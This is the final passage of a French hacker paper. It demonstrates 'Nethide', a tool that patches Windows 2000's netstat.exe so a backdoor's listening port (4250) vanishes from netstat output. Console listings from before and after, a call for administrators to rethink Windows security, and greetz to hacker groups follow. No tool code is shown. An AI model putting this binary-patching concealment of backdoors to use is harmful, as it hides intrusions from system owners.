winshell TCP 212.198.174.21:139 0.0.0.0:0 LISTENING UDP 0.0.0.0:7 *:* UDP 0.0.0.0:9 *:* UDP 0.0.0.0:13 *:* UDP 0.0.0.0:17 *:* UDP 0.0.0.0:19 *:* UDP 0.0.0.0:42 *:* UDP 0.0.0.0:135 *:* UDP 0.0.0.0:445 *:* UDP 0.0.0.0:1026 *:* UDP 0.0.0.0:1033 *:* UDP 0.0.0.0:1037 *:* UDP 0.0.0.0:44334 *:* UDP 127.0.0.1:1906 *:* UDP 212.198.174.21:137 *:* UDP 212.198.174.21:138 *:* UDP 212.198.174.21:500 *:* C:\>projet\nethide\>nethide 4250 ----------------------------------- Nethide for win2k, coded by ThreaT! ----------------------------------- URL : http://www.chez.com/mvm Contact : ThreaT@Caramail.com NETSTAT.EXE is PATCHED!, hidden Port is 4250 C:\>projet\nethide\>netstat Connexions actives Proto Adresse locale Adresse distante Etat TCP azerty:2081 azerty:4250 ESTABLISHED <- loopback (on s'en fout) <- plus rien :) C:\>projet\nethide\>netstat -an Connexions actives Proto Adresse locale Adresse distante Etat TCP 0.0.0.0:7 0.0.0.0:0 LISTENING TCP 0.0.0.0:9 0.0.0.0:0 LISTENING TCP 0.0.0.0:13 0.0.0.0:0 LISTENING TCP 0.0.0.0:17 0.0.0.0:0 LISTENING TCP 0.0.0.0:19 0.0.0.0:0 LISTENING TCP 0.0.0.0:42 0.0.0.0:0 LISTENING TCP 0.0.0.0:135 0.0.0.0:0 LISTENING TCP 0.0.0.0:445 0.0.0.0:0 LISTENING TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING TCP 0.0.0.0:1034 0.0.0.0:0 LISTENING TCP 0.0.0.0:1035 0.0.0.0:0 LISTENING TCP 0.0.0.0:1036 0.0.0.0:0 LISTENING TCP 0.0.0.0:1633 0.0.0.0:0 LISTENING TCP 0.0.0.0:2081 0.0.0.0:0 LISTENING TCP 0.0.0.0:3372 0.0.0.0:0 LISTENING TCP 0.0.0.0:44334 0.0.0.0:0 LISTENING TCP 127.0.0.1:2081 127.0.0.1:4250 ESTABLISHED <- loopback (on s'en fout ) TCP 212.198.174.21:139 0.0.0.0:0 LISTENING <- plus rien :) UDP 0.0.0.0:7 *:* UDP 0.0.0.0:9 *:* UDP 0.0.0.0:13 *:* UDP 0.0.0.0:17 *:* UDP 0.0.0.0:19 *:* UDP 0.0.0.0:42 *:* UDP 0.0.0.0:135 *:* UDP 0.0.0.0:445 *:* UDP 0.0.0.0:1026 *:* UDP 0.0.0.0:1033 *:* UDP 0.0.0.0:1037 *:* UDP 0.0.0.0:44334 *:* UDP 127.0.0.1:1906 *:* UDP 212.198.174.21:137 *:* UDP 212.198.174.21:138 *:* UDP 212.198.174.21:500 *:* C:\>projet\nethide\> Et voila! le port 4250 faisant référence à notre backdoor est complétement Hidden! FIN ### J'éspere que cette petite demonstration vous a plus, et poussera quelques personnes à reconsiderer ce qu'est la sécurité sous windows NT / 2000. Et non, chers administrateurs MCP/MCSE/Diplome d'ingé/... La sécurité sous Windows, ce n'est pas seulement installer un firewall + patcher votre dernier IIS :) Si vous désirez en parler un peu plus longuement, vous pouvez me contacter à ThreaT@Caramail.com ! Greetz ------ Happy people : Maverick, Nazgul, DreaD, jarod, MaX, CoX, Scal, Gui, Ben, Fire & other... NT Kernel Hackers : Crazylord & Obscurer Fun crew (with funny people) : CNS http://www.minithins.net : Subk http://www.subk.org Merci à Realist pour avoir corrigé ce paper :) - "Le piratage n'est pas qu'un simple crime, C'est une question de survie..." - Dr Trambert